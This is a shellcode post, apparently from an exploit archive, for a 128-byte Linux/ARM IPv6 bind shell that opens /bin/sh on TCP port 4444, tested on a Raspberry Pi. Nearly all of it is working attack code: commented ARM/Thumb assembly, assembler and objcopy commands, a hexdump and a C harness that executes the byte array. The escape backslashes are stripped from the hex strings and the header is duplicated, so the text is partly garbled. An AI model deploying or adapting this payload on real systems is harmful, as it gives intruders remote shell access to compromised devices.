Linux ARM Bindshell TCP 4444 IPv6 Shellcode

/*
Title: Linux/ARM - IPv6 4444/TCP Bind Shellcode (128 Bytes)
Date: 2018-07-25
Tested: armv7l (Raspberry Pi 3 Model B+)
Author: Ken Kitahara

pi@raspberrypi: /*
Title: Linux/ARM - IPv6 4444/TCP Bind Shellcode (128 Bytes)
Date: 2018-07-25
Tested: armv7l (Raspberry Pi 3 Model B+)
Author: Ken Kitahara

pi@raspberrypi:~ $ uname -a
Linux raspberrypi 4.14.52-v7+ #1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux
pi@raspberrypi:~ $ lsb_release -a
No LSB modules are available.
Distributor ID: Raspbian
Description: Raspbian GNU/Linux 9.4 (stretch)
Release: 9.4
Codename: stretch
pi@raspberrypi:~ $ cat bindshell-ipv6.s
.section .text
.global _start

_start:
.ARM
add r3, pc, #1
bx r3

.THUMB
// socket(AF_INET6, SOCK_STREAM, IPPROTO_IP)
mov r0, #10
mov r1, #1
eor r2, r2, r2
mov r7, #100
add r7, r7, #181
svc #1
// save fd
mov r4, r0

// bind(fd, &sockaddr, 28)
adr r1, struct_addr
// replace 0xff with NULL and set sin6_family to 0x0a (AF_INET6)
strb r2, [r1, #1]
// replace 1 with NULL and set sin6_flowinfo to NULL
str r2, [r1, #4]
// replace 1 with NULL and set sin6_addr to ::
str r2, [r1, #8]
str r2, [r1, #12]
str r2, [r1, #16]
str r2, [r1, #20]
// replace 1 with NULL and set sin6_scope_id to NULL
str r2, [r1, #24]
mov r2, #28
add r7, r7, #1
svc #1

// listen(host_sockid, 2)
mov r0, r4
mov r1, #2
add r7, r7, #2
svc #1

// accept(host_sockid, 0, 0)
mov r0, r4
eor r1, r1, r1
eor r2, r2, r2
add r7, r7, #1
svc #1
// save fd
mov r4, r0

// dup2(client_sockid, 0)
mov r7, #63
svc #1

// dup2(client_sockid, 1)
mov r0, r4
add r1, r1, #1
svc #1

// dup2(client_sockid, 2)
mov r0, r4
add r1, r1, #1
svc #1

// execve("/bin/sh", 0, 0)
eor r1, r1, r1
eor r2, r2, r2
adr r0, spawn
strb r2, [r0, #7]
mov r7, #11
svc #1

spawn:
.ascii "/bin/shA"

struct_addr:
.ascii "x0axff" // sin6_family -> AF_INET6
.ascii "x11x5c" // sin6_port -> 4444
.byte 1,1,1,1 // sin6_flowinfo -> NULL
.byte 1,1,1,1 // sin6_addr -> ::
.byte 1,1,1,1
.byte 1,1,1,1
.byte 1,1,1,1
.byte 1,1,1,1 // sin6_scope_id -> NULL

pi@raspberrypi:~ $ as -o bindshell-ipv6.o bindshell-ipv6.s && ld -N -o bindshell-ipv6 bindshell-ipv6.o
pi@raspberrypi:~ $ objcopy -O binary bindshell-ipv6 bindshell-ipv6.bin
pi@raspberrypi:~ $ hexdump -v -e '"\""x" 1/1 "%02x" ""' bindshell-ipv6.bin
x01x30x8fxe2x13xffx2fxe1x0ax20x01x21x52x40x64x27xb5x37x01xdfx04x1cx13xa1x4ax70x4ax60x8ax60xcax60x0ax61x4ax61x8ax61x1cx22x01x37x01xdfx20x1cx02x21x02x37x01xdfx20x1cx49x40x52x40x01x37x01xdfx04x1cx3fx27x01xdfx20x1cx01x31x01xdfx20x1cx01x31x01xdfx49x40x52x40x01xa0xc2x71x0bx27x01xdfx2fx62x69x6ex2fx73x68x41x0axffx11x5cx01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01

*/

#include<stdio.h>
#include<string.h>

unsigned char sc[] =
"x01x30x8fxe2x13xffx2fxe1"
"x0ax20x01x21x52x40x64x27"
"xb5x37x01xdfx04x1cx13xa1"
"x4ax70x4ax60x8ax60xcax60"
"x0ax61x4ax61x8ax61x1cx22"
"x01x37x01xdfx20x1cx02x21"
"x02x37x01xdfx20x1cx49x40"
"x52x40x01x37x01xdfx04x1c"
"x3fx27x01xdfx20x1cx01x31"
"x01xdfx20x1cx01x31x01xdf"
"x49x40x52x40x01xa0xc2x71"
"x0bx27x01xdfx2fx62x69x6e"
"x2fx73x68x41x0axffx11x5c"
"x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01";

void main()
{
printf("Shellcode Length: %d ", strlen(sc));

int (*ret)() = (int(*)())sc;

ret();
}